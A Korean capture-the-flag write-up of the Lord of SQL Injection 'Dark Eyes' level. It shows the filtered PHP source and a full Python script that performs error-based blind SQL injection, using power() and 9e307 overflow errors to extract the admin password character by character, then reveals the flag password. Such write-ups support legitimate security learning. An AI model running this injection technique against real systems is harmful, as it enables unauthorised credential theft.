공부하자

lord of sql injection - no.22 dark eyes 본문

Write-up/Lord of SQL Injection

lord of sql injection - no.22 dark eyes

공부를 하자 2018. 1. 5. 09:48

Lord of SQL Injection No.22 Dark Eyes

Dark Eyes 문제는 여러 제약을 가지며 Error Based SQL Injection을 수행해볼 수 있도록 유도한 문제이다.

소스 코드

<?php

  include "./config.php"; 

  login_chk(); 

  dbconnect(); 

  if(preg_match('/prob|_|\.|\(\)/i', $_GET[pw])) exit("No Hack ~_~");

  if(preg_match('/col|if|case|when|sleep|benchmark/i', $_GET[pw])) exit("HeHe");

  $query = "select id from prob_dark_eyes where id='admin' and pw='{$_GET[pw]}'";

  $result = @mysql_fetch_array(mysql_query($query));

  if(mysql_error()) exit();

  echo "<hr>query : <strong>{$query}</strong><hr><br>";



  $_GET[pw] = addslashes($_GET[pw]);

  $query = "select pw from prob_dark_eyes where id='admin' and pw='{$_GET[pw]}'";

  $result = @mysql_fetch_array(mysql_query($query));

  if(($result['pw']) && ($result['pw'] == $_GET['pw'])) solve("dark_eyes");

  highlight_file(__FILE__);

?>
if(preg_match('/prob|_|\.|\(\)/i', $_GET[pw])) exit("No Hack ~_~");

$_GET 방식으로 입력받은 pw값에 prob, _, ., (, )가 들어있으면 No Hack ~_~이 출력된 후 문제 풀이에 실패하게 된다.

if(preg_match('/col|if|case|when|sleep|benchmark/i', $_GET[pw])) exit("HeHe");

col, if, case, when, sleep, benchmarkpw 값에 포함되면 HeHe를 출력한 후 문제 풀이에 실패하게 된다.

if(mysql_error()) exit();

위의 조건절은 이전 문제였던 Iron Golem에서 처음 선보였던 조건절과 매우 흡사하지만 차이가 있다.

이전 문제에서는 "MySQL에서 오류가 발생하면 에러를 출력한 후에 종료한다" 라는 의미의 조건절이 있었지만, 위의 조건절은 아무 것도 출력하지 않고 exit 함수가 실행되기만 한다.

하지만, 이 조건절로도 무난하게 Error Based SQL Injection 공격이 가능하다.

문제 풀이 조건

if(($result['pw']) && ($result['pw'] == $_GET['pw'])) solve("dark_eyes");

$_GET 방식으로 입력받은 pw값과 DB에 존재하는 pw값이 일치하면 문제 풀이에 성공하게 된다.

Solution

21번 Iron Golem 문제에서는 power를 이용한 지수 연산 오류를 이용하여 문제를 해결했었다.

이번 문제에서는 power 함수 뿐만 아니라 지수 연산 최대치 값을 이용한 연산을 통해 문제를 해결할 것이다.

import urllib.request

from urllib.parse import quote



result = ""



pwlen = 0



for i in range(0, 30):

    url = "http://los.eagle-jump.org/dark_eyes_a7f01583a2ab681dc71e5fd3a40c0bd4.php?pw="

    data = "' or id='admin' and power((length(pw)={})+1,99999999999999) -- ;".format(str(i))

    print(data)

    data = quote(data)

    re = urllib.request.Request(url + data)

    re.add_header("User-agent", "Mozilla/5.0")

    re.add_header("Cookie", "PHPSESSID=67rse542trun7sp0rtrd5pp612")

    res = urllib.request.urlopen(re)



    if str(res.read()).find("query :") == -1:

        pwlen = i

        print("Password Length is {} !!".format(pwlen))

        break



for i in range(1, pwlen + 1):

    for j in range(ord('0'), ord('z')):

        url = "http://los.eagle-jump.org/dark_eyes_a7f01583a2ab681dc71e5fd3a40c0bd4.php?pw="

        data = "' or id='admin' and (((substr(pw,{},1)='{}')+1)*9e307) -- ;".format(str(i), chr(j))

        print(data)

        data = quote(data)

        re = urllib.request.Request(url + data)

        re.add_header("User-agent", "Mozilla/5.0")

        re.add_header("Cookie", "PHPSESSID=67rse542trun7sp0rtrd5pp612")

        res = urllib.request.urlopen(re)



        if str(res.read()).find("query :") == -1:

            result += chr(j).lower()

            print(result)

            break

print("Password is [{}]!!".format(result))
data = "' or id='admin' and power((length(pw)={})+1,99999999999999) -- ;".format(str(i))

pwlenpower를 사용해서 구해볼 것이다.

위의 코드를 살펴보면 length(pw)에 일치하는 값이 매칭되면 1이 반환되기 때문에 1+1의 연산이 되고 결국 올바른 값이 매칭되면 power(2,99999999999999) 즉, 2^99999999999999라는 값이 들어가게 되어 에러를 내뿜는다.

소스 코드에서 MySQL에 오류가 생기면 에러를 출력하지 않고 빈 페이지로 이동하게 되기 때문에, 이를 이용하여 에러가 발생하지 않으면 항상 존재할 수 밖에 없는 query : 라는 문자열을 찾도록하여 올바른 값이 매칭되면 -1을 반환하도록 한다.

if str(res.read()).find("query :") == -1:

        pwlen = i

        print("Password Length is {} !!".format(pwlen))

        break

올바른 값이 매칭되면 빈 페이지를 띄우기 때문에 read 함수에서의 반환값은 -1이다.

이를 이용하여 반환값이 -1일 때, 대입했던 값을 pwlen에 저장한 후 반복문을 탈출한다.

위의 코드를 실행하면 pwlen가 8이라는 것을 알 수 있다.

data = "' or id='admin' and (((substr(pw,{},1)='{}')+1)*9e307) -- ;".format(str(i), chr(j))

pw의 값을 매칭시킬 때에는 power 함수 대신 9e307이라는 지수 연산 최대치를 이용했다.

MySQL에서는 e를 이용하여 지수 연산이 가능하다.

예를 들어, 3e3 이라고 하면 3*10³ 이 되는 것인데, MySQL에서는 9e307이 최대치라고 한다.

그렇기 때문에 substr로 자른 문자열이 대입한 값과 일치하게 되면 1을 반환하고, 1+1이 되기 때문에 올바른 값이 매칭될 때만 9e307 * 2를 반환하여 에러를 발생시킨 후 빈 페이지로 전환하게 된다.

반환값 -1을 이용하여 찾은 pw 값은 5a2f5d3c이기 때문에,

http://los.eagle-jump.org/dark_eyes_a7f01583a2ab681dc71e5fd3a40c0bd4.php?pw=5a2f5d3c

URL에 pw 값을 대입하면 문제 풀이에 성공하게 된다.

Comments